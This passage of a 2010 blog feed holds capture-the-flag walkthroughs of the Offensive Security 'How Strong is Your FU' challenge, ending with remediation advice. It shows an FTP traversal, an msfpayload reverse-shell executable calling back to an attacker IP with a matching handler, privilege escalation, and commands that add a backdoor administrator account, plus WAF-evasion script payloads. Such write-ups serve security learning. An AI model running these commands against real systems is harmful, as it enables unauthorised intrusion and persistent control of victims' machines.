FTP probing:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;First thing i did was log into the FTP server with credentials that were provided on the offsec page. After logging into the FTP server there wasnt much to play with in any&amp;nbsp; available directories so i decided to try to hop out of the FTP environment.&lt;br /&gt;&lt;br /&gt;I tried to hop out of the ftp directory structure via directory traversal attacks with &lt;span style="color: #990000;"&gt;"cd ../../../../../"&lt;/span&gt;... Failed, so I then flipped the slashes to &lt;span style="color: #990000;"&gt;"cd ..\..\..\..\..\"&lt;/span&gt; and the response back indicated a fail. So i decided to directly call the root directory with &lt;span style="color: #990000;"&gt;"cd c:".&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Score&lt;br /&gt;&lt;br /&gt;Cd C:&amp;nbsp; correctly hopped me into a directory with loads of files available. I also seemed to be able to browse to a directory with system32 files. My actual first thought was to replace the system32 directory program Magnify.exe with my evil payload so that at the Remote desktop login&amp;nbsp; the accessibility options would become a shell. But unfortunately I didnt have access to write to that directory so i moved on. After browsing files for awhile I decided this ftp session was a bust and logged out.&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;HTTP:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;Next I decided to hit up the web page located on KilltheN00b. The webserver indicated an application by the name of "surgemail".&lt;br /&gt;&lt;br /&gt;Also i noted the &lt;span style="color: #990000;"&gt;scripts directory on this site seemed to execute pages with a EXE extension&lt;/span&gt;. Very interesting...&lt;br /&gt;&lt;br /&gt;I then checked the exploit databases and verified an exploit for the version of surgemail running that was valid for windows 2000 and 2003. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Debugging: &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&amp;nbsp;Next I decided to check the remote desktop port to find out killthen00b was running a Win7 operating system and the exploit would need modification before it would work.&amp;nbsp; This was a&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;TOTAL FAIL&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;I loaded up the debugger and started modifying the exploit and realized that I was unable to control EIP after a bit of wrestling with the exploits located on exploitDB... Either due to my lack of advanced level exploitation or the differences in operating systems or its protection mechanisms i only had control of certain parts of the stack but no EIP overwrite. To be correct, rather partial overwrite of EIP in this exploit which utilized the OS already providing a zero byte on the first byte of the 4 byte EIP to bypass filters on insertion the overflow utilized what was already present, (I like that) otherwise our null stop execution of the program prematurely.&lt;br /&gt;&lt;br /&gt;Before going further with this I realized this exploit was a post authentication exploit and would need a user account. grrrr &lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;More Web: &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&amp;nbsp;I browsed around the the surgemail pages for awhile trying attacks against authentication and authorization without much success till i hit a /domainadmin management page. On this page i was able to guess a password of test/test using burp "comparer" to compare my responses and noticed one of the outputs said&lt;span style="color: #990000;"&gt; "Account Details".&lt;/span&gt; I then verified that I could log into the server by logging into another port used for changing passwords "poppassd" located on port 106.&amp;nbsp; The found login worked,&lt;br /&gt;&lt;br /&gt;Woot i could now use that exploit if i can get the exploit to work.. however this was still a fail after messing with it for a few hours.&amp;nbsp; &lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Back to FTP:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;After noticing the EXE files with a possible execution on the webpage i decided to hit the FTP session back up and see if I can get to the scripts directory. After messing around for awhile I realized that the "cd ..\..\" actually was working and after a few iterations got me to the root directory. I browsed to the surgemail/scripts directory&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ftp&amp;gt; cd ..\..\..\&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;250 Directory changed to "/MyDocuments/............./......../......".&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ftp&amp;gt; ls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;200 PORT command successful.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;150 Opening ASCII mode data connection for listing&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 22:58 $Recycle.Bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Jul 13 2009 Documents and Settings&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Jul 13 2009 PerfLogs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 19:20 Program Files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 19:21 ProgramData&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 22:51 Python26&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Apr 30 01:21 Recovery&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 07 23:48&lt;/b&gt;&lt;b&gt; surgemail&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 22:38 System Volume Information&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 07 23:48 Users&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dr-xrwx--- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 May 03 21:28 Windows&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;-r--rr---- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 24 Jun 10 2009 autoexec.bat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;-r--rr---- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10 Jun 10 2009 config.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;-r--rr---- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2147016704 May 07 23:44 pagefile.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;-r--rr---- 1 admin users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 12645888 May 03 05:53 surgemail_installer.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ftp&amp;gt; cd surgemail&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;250 Directory changed to "/MyDocuments/............./......../....../surgemail".&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ftp&amp;gt; cd scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;250 Directory changed to "/MyDocuments/............./......../....../surgemail/scripts".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I then tried uploading a test file and it worked.... at this point i got pretty excited and went into explotation mode.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_m-VaRRSbBD4/S-jNvnoj0OI/AAAAAAAAAAs/4UHV24u-Mq4/s1600/killthenoob_ftp_traversal_upload.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_m-VaRRSbBD4/S-jNvnoj0OI/AAAAAAAAAAs/4UHV24u-Mq4/s320/killthenoob_ftp_traversal_upload.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Meterpreter Evil.exe:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;I now i needed an evil EXE file to have the webserver serve up for me on behalf of the killtheN00b host. So i popped open metasploit..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Create a reverse_tcp meterpreter shell. &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;root@ficti0n:~# cd /pentest/exploits/framework3&lt;br /&gt;root@ficti0n:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.142 LPORT=4444 X &amp;gt; evil.exe&lt;br /&gt;Created by msfpayload (http://www.metasploit.com).&lt;br /&gt;Payload: windows/meterpreter/reverse_tcp&lt;br /&gt;&amp;nbsp;&lt;span style="color: #990000;"&gt;Length: 290&lt;/span&gt;&lt;br /&gt;Options: LHOST=192.168.6.142,LPORT=4444&lt;br /&gt;&lt;br /&gt;Now we have our test shell to try, which I then uploaded to the ftp server in the surgemail/scripts directory this directory also contained other exe files such as webmail.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;span style="color: #0b5394;"&gt;&lt;b&gt;Back to the web part 2:&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;the evil upload&lt;br /&gt;&lt;br /&gt;Back on the web it was time to browse to the scripts directory and cross my fingers and toes, along with yelling at my friends to cross their fingers and toes too!!!&amp;nbsp; Very important that all the bases are covered in information security.. &lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;Offensive Security in depth!!!&amp;nbsp; or something like that..&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="color: #0b5394; font-size: x-small;"&gt;(Wishful thinking) &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;So i started a multihandler for metasploit first, just in case the reverseshell worked&lt;/b&gt;. &lt;/div&gt;msf &amp;gt; use multi/handler&lt;br /&gt;msf exploit(handler) &amp;gt; set LHOST 192.168.6.142&lt;br /&gt;LHOST =&amp;gt; 192.168.6.142&lt;br /&gt;msf exploit(handler) &amp;gt; set LPORT 4444&lt;br /&gt;LPORT =&amp;gt; 4444&lt;br /&gt;msf exploit(handler) &amp;gt; set payload windows/meterpreter/reverse_tcp&lt;br /&gt;payload =&amp;gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(handler) &amp;gt; exploit&lt;br /&gt;[*] Started reverse handler on 192.168.6.142:4444&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;I then proceded to browse to the directory with all bodyparts crossed.....Hoping for connect back&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #990000;"&gt;&lt;b&gt;SCORE!!!!!&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;My connection status in metasploit then indicated i had an open session.&amp;nbsp; :) &lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Post Explotation:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;With a shiny shell in hand I first dropped the hashes via meterpreter hashdump but i noticed from the sequence of charactors the LM hashes were blank.&amp;nbsp; So I decided to just create my own user using the following scenerio. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Get higher privilages:&lt;/b&gt;&lt;/div&gt;meterpreter &amp;gt; getsystem&lt;br /&gt;...got system (via technique 1).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Add a new domain admin:&lt;/b&gt;&lt;/div&gt;meterpreter &amp;gt; use incognito&lt;br /&gt;Loading extension incognito...success.&lt;br /&gt;meterpreter &amp;gt; add_user ficti0n&lt;br /&gt;[*] Attempting to add user ficti0n to host 127.0.0.1&lt;br /&gt;[+] Successfully added user&lt;br /&gt;meterpreter &amp;gt; add_localgroup_user Administrators ficti0n&lt;br /&gt;[*] Attempting to add user ficti0n to localgroup Administrators on host 127.0.0.1&lt;br /&gt;[+] Successfully added user to local group&lt;br /&gt;&lt;br /&gt;But i like GUI's so lets get remote desktop, and I noted in an earlier attempt to log into window with my ftp credentials that i needed to be part of the remote desktop users group.. so lets be part of the cool kids group shall we??&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Get a Remote Desktop Gui: &lt;/b&gt;&lt;/div&gt;meterpreter &amp;gt; add_localgroup_user "Remote Desktop Users" ficti0n&lt;br /&gt;[*] Attempting to add user ficti0n to localgroup Remote Desktop Users on host 127.0.0.1&lt;br /&gt;[+] Successfully added user to local group&lt;br /&gt;&lt;br /&gt;SCORE I can now login with domain admin on a pretty gui interface provided by microsoft.. Thanks microsoft :)&amp;nbsp; and thanks metaploit. &lt;br /&gt;&lt;br /&gt;After logging into the windows7 machine I quickly found my proofs.txt and added it to the online scoreboard to raise me up to 50pts total.&amp;nbsp; Job well done...Thanks to steponequit and carnalownage and sygog for calaborating on attack possibilities, sometimes multiple minds work better even if its not the solution possibilities for the future arise&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_m-VaRRSbBD4/S-jNLIy-EnI/AAAAAAAAAAk/Q9RdX9KHZ2M/s1600/killthenoob_desktop_proof.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_m-VaRRSbBD4/S-jNLIy-EnI/AAAAAAAAAAk/Q9RdX9KHZ2M/s320/killthenoob_desktop_proof.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Lessons Learned:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;-Dont listen to other peoples chatter and take it as truth.While I was in IRC everyone was talking about compiling code and getting payloads correct..&lt;br /&gt;-I knew better, I knew there was an easier way and only wasted a limited amount of time on exploit writing. I am sure there is a way to transfer that exploit but messing around all day isn't going to get me past the challenge.&lt;br /&gt;-Again go with your initial observations of the application. My observation that the webpage was executing EXE files ultimately got me into the application even though i veered off the path for awhile listening to people in the IRC chat about payloads.&lt;br /&gt;-Also again always trying things twice and CONFIRM.... Initially i thought i didn't have the traversal. it turns out i did 3 hours before I used it!&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Remediation:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;-Check the ACL's and the Jails on your FTP servers and make sure they are not traverseable.&lt;br /&gt;-Review your applications for any known exploitable 3rd party software and update&lt;br /&gt;-Do antivirus checking on file uploads to stop payloads from being uploaded and executed&lt;br /&gt;-Do egress filtering to stop unnecessary ports from calling back to listeners on attackers machines&lt;br /&gt;&lt;br /&gt;Get a HUGE security budget and hire me to run all your penetration tests for twice your average cost!!! Preferably from the beach externally :) Dont forget to add redbull and sourpatch kids to the budget!!!&amp;nbsp; They are ESSENTIAL to my findings. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #0b5394;"&gt;Closing notes:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;I then went to the gym to wake up my forgotten muscles from sitting around all day and night... This was over 24 hours into this Challenge, I cheated and took a little (LONG)&amp;nbsp; nap somewhere in there too.. I know I know.. sleeping on the job, but hey there was a pillow close by and I ran out of the redbull..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Up next:&amp;nbsp; Part 3&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Dropping shells on the Ghost and watching him laugh as he ultimately owns me!!!!&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-1348901460434959500?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/1348901460434959500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/05/offensive-security-part-2-killthen00b.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1348901460434959500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1348901460434959500'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/05/offensive-security-part-2-killthen00b.html' title='Offensive Security  Part 2 -- KilltheN00b Walk Through'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_m-VaRRSbBD4/S-jNvnoj0OI/AAAAAAAAAAs/4UHV24u-Mq4/s72-c/killthenoob_ftp_traversal_upload.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-8102351192289284151</id><published>2010-05-10T18:17:00.000-07:00</published><updated>2010-05-10T21:36:07.378-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='killthen00b'/><category scheme='http://www.blogger.com/atom/ns#' term='how strong is your fu'/><category scheme='http://www.blogger.com/atom/ns#' term='offsec'/><category scheme='http://www.blogger.com/atom/ns#' term='applicure'/><category scheme='http://www.blogger.com/atom/ns#' term='Offensive Security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking challenge'/><title type='text'>Offensive Security n00bFilter Walk Through</title><content type='html'>&lt;div style="color: #0b5394;"&gt;&lt;b&gt;How Strong is Your FU hacker challenge&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;b style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;Target 1:&lt;/span&gt; &lt;/b&gt;N00bFilter&lt;br /&gt;&lt;br /&gt;The first target in this weekend’s offensive security challenge was nicknamed n00bfilter as it was used to weed out all the n00bs who would plague the internal Offsec networks with high bandwidth unnecessary tools such as Nessus or Webinspect hoping for an easy hit. Tools like these, while useful, are not going to directly aid you in exploitation of this CTF challenge. Your BRAIN is the only valid tool in an offsec challenge. At first glance n00bfilter appears to be a login and password prompt to an application with no other available options but username and password. Source looks pretty standard as well.. Nothing special, no JavaScript or includes to be had.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_m-VaRRSbBD4/S-ihdHWiV8I/AAAAAAAAAAM/viGrR8gSPX8/s1600/noob-filter_main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/_m-VaRRSbBD4/S-ihdHWiV8I/AAAAAAAAAAM/viGrR8gSPX8/s320/noob-filter_main.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #0b5394;"&gt;First Clue:&lt;/b&gt; &lt;/span&gt;Error Message&lt;br /&gt;&lt;br /&gt;Like most pentests your first inclination would be to post a single quote or random character into the field and see if it errors out. After adding a single quote I was presented with a taunting answer of "HAHAHA" rather than the expected sql error or perhaps invalid character. Upon further inspection of the error pages source code it was noted that this was an Applicure error message. Applicure being the vendor of Dot Defender a well known Web Application Firewall (WAF). I found it interesting that a n00bfilter would be running an ids/ips product and started performing further probing of the application.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_m-VaRRSbBD4/S-iprPRI15I/AAAAAAAAAAU/b9Mi7i4sk2M/s1600/noob-filter_bad_login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_m-VaRRSbBD4/S-iprPRI15I/AAAAAAAAAAU/b9Mi7i4sk2M/s320/noob-filter_bad_login.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #0b5394;"&gt;Annoyance:&lt;/b&gt;&lt;/span&gt; cool out periods&lt;br /&gt;&lt;br /&gt;I then started trying default user/pass combinations such as admin/admin admin/password. Anything that a normal administrator would FAIL to implement changes to. This led me nowhere quickly at which time I started losing my connection to the application.&amp;nbsp; After roughly 5minutes i was back online and figured my internet connection was foobarred... Got to love sketchy cable connections right?? I swear they do bandwidth limiting but whatever.. LOL&amp;nbsp;&amp;nbsp; A few minutes later I was blocked again, and again, and again.... Apparently Dot Defender was set to "Cool me down” when I got out of control.... Very NOT COOL..... This annoyed me becuase I was manually probing the application. This application also appeared to vary its cool outs based on what you were doing, messing with the URL, messing with the input fields, certain characters, some may be ok others blocked you immediately, then sometimes after a few tries... Interesting the application has a personality apparently.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #0b5394;"&gt;Thought:&lt;/b&gt; &lt;/span&gt;Dot Defender bypass&lt;br /&gt;&lt;br /&gt;When I started getting owned by dot defender over and over again I started to think maybe I have to shut the WAF down or at least add my IP address to a list of friends within the dot defenders configurations. But how??&lt;br /&gt;I immediately started researching dot defender weaknesses and vulnerabilities on my good friend Google and this was found...&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Full Disclosure:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;a href="http://seclists.org/fulldisclosure/2009/Nov/357"&gt;http://seclists.org/fulldisclosure/2009/Nov/357&lt;/a&gt;&lt;br /&gt;The above link states that Post Authentication there is a vulnerability that allows an attacker to run commands on the operating system via the delete site method. Hmmm “post authentication”. This means I need credentials, bullocks!! I don't have credentials&lt;br /&gt;&lt;br /&gt;Ok back to google, the google gods then provided me with a few tidbits of information regarding Dot Defender, one useful piece of information being that DotDefender site manager was located a /dotDefender. I browsed to this address and sure enough I was prompted with a basic authentication login prompt that told me its username was "Admin". Now I have a login name the struggle is half over right? so i tried all the default password combos and a few random passwords based on the site and the challenge. &lt;br /&gt;&lt;br /&gt;FAIL&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Dont Second Guess yourself: &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Figuring that a vulnerability on full disclosure was not going to be the issue and especially being post auth on a n00bFilter I moved back to probing the app... I went at it for awhile with combination's of character encodings and character assembly that might fool the WAF into either letting my attacks through the firewall or removing just enough of the attack to reassemble the attack for me.. Attacks such as &amp;lt;scr&amp;gt;&amp;lt;script&amp;gt;ipt&amp;gt; or other combination's using various&lt;br /&gt;encoding techniques...&lt;br /&gt;&lt;br /&gt;Again FAIL!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Social Networking:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;So I remember the hints said to stay in touch via twitter and IRC. I pop up the IRC channel and its a bunch of whiners complaining about a password being changed.. I was just thinking “WHAT PASSWORD”. I felt out of the loop at that point but I know better then to ask Muts a direct question, I already know the answer.. “TRY HARDER”&amp;nbsp; this is offensive securities mantra which answers every inquiry. So instead I got some redbull and thought it over for a few and noticed that the IRC channel said the passwords were now reset to the original values.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Dot Defender again:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Knowing that the only password not behind dot defenders tyrannical rule was the basic auth login for dot defender, i decided gave Dot Defender a second go. The very first combination I tried popped open the application with the password of&amp;nbsp; “password” and a # symbol at the end of the index page value, someone had suggested I try the # earlier.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_m-VaRRSbBD4/S-iqm5JZfaI/AAAAAAAAAAc/VsPZNG1KFPk/s1600/dotDefenderAdmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_m-VaRRSbBD4/S-iqm5JZfaI/AAAAAAAAAAc/VsPZNG1KFPk/s320/dotDefenderAdmin.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Apparently the first few people past the login started changing the password to keep others from catching up to them.... Sneaky little terrorists threw me off my game. So now it was time to try my post authentication exploitation from full disclosure.. :) &lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: 